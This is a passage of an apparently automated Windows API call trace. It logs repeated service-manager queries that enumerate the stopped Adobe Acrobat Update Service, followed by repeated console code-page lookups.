hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.829] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cf8d8 [0128.829] EnumServicesStatusW (in: hSCManager=0x31cf8d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.830] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.830] EnumServicesStatusW (in: hSCManager=0x31cf8d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.831] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cf810 [0128.832] EnumServicesStatusW (in: hSCManager=0x31cf810, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.832] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.832] EnumServicesStatusW (in: hSCManager=0x31cf810, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.834] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc48 [0128.834] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.835] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.835] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.836] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc20 [0128.837] EnumServicesStatusW (in: hSCManager=0x31cfc20, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.837] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.837] EnumServicesStatusW (in: hSCManager=0x31cfc20, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.838] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc48 [0128.839] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.839] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.839] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.840] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc48 [0128.841] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.841] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.841] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.843] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc48 [0128.843] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.843] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.843] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.845] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc48 [0128.845] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.845] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.845] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.847] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cf810 [0128.847] EnumServicesStatusW (in: hSCManager=0x31cf810, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.848] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.848] EnumServicesStatusW (in: hSCManager=0x31cf810, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.849] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc48 [0128.849] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.850] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.850] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.851] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cf810 [0128.851] EnumServicesStatusW (in: hSCManager=0x31cf810, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.852] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.852] EnumServicesStatusW (in: hSCManager=0x31cf810, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.853] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cf810 [0128.853] EnumServicesStatusW (in: hSCManager=0x31cf810, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.857] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.857] EnumServicesStatusW (in: hSCManager=0x31cf810, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.859] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc20 [0128.859] EnumServicesStatusW (in: hSCManager=0x31cfc20, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.860] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.860] EnumServicesStatusW (in: hSCManager=0x31cfc20, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.862] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cf8d8 [0128.862] EnumServicesStatusW (in: hSCManager=0x31cf8d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.863] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.863] EnumServicesStatusW (in: hSCManager=0x31cf8d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.865] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc48 [0128.865] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.866] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.866] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.868] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cf8d8 [0128.869] EnumServicesStatusW (in: hSCManager=0x31cf8d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.869] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.869] EnumServicesStatusW (in: hSCManager=0x31cf8d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.871] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc20 [0128.872] EnumServicesStatusW (in: hSCManager=0x31cfc20, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.872] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.872] EnumServicesStatusW (in: hSCManager=0x31cfc20, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.877] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc48 [0128.877] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.878] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.878] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.880] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cf8d8 [0128.880] EnumServicesStatusW (in: hSCManager=0x31cf8d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.881] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.881] EnumServicesStatusW (in: hSCManager=0x31cf8d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0129.123] GetConsoleOutputCP () returned 0x1b5 [0129.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.229] GetConsoleOutputCP () returned 0x1b5 [0129.270] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.270] GetConsoleOutputCP () returned 0x1b5 [0129.274] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.274] GetConsoleOutputCP () returned 0x1b5 [0129.287] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.287] GetConsoleOutputCP () returned 0x1b5 [0129.318] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.318] GetConsoleOutputCP () returned 0x1b5 [0129.323] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.323] GetConsoleOutputCP () returned 0x1b5 [0129.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.332] GetConsoleOutputCP () returned 0x1b5 [0129.362] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.362] GetConsoleOutputCP () returned 0x1b5 [0129.373] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.376] GetConsoleOutputCP () returned 0x1b5 [0129.392] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.392] GetConsoleOutputCP () returned 0x1b5 [0129.412] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.412] GetConsoleOutputCP () returned 0x1b5 [0129.433] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.433] GetConsoleOutputCP () returned 0x1b5 [0129.460] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.460] GetConsoleOutputCP () returned 0x1b5 [0129.468] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 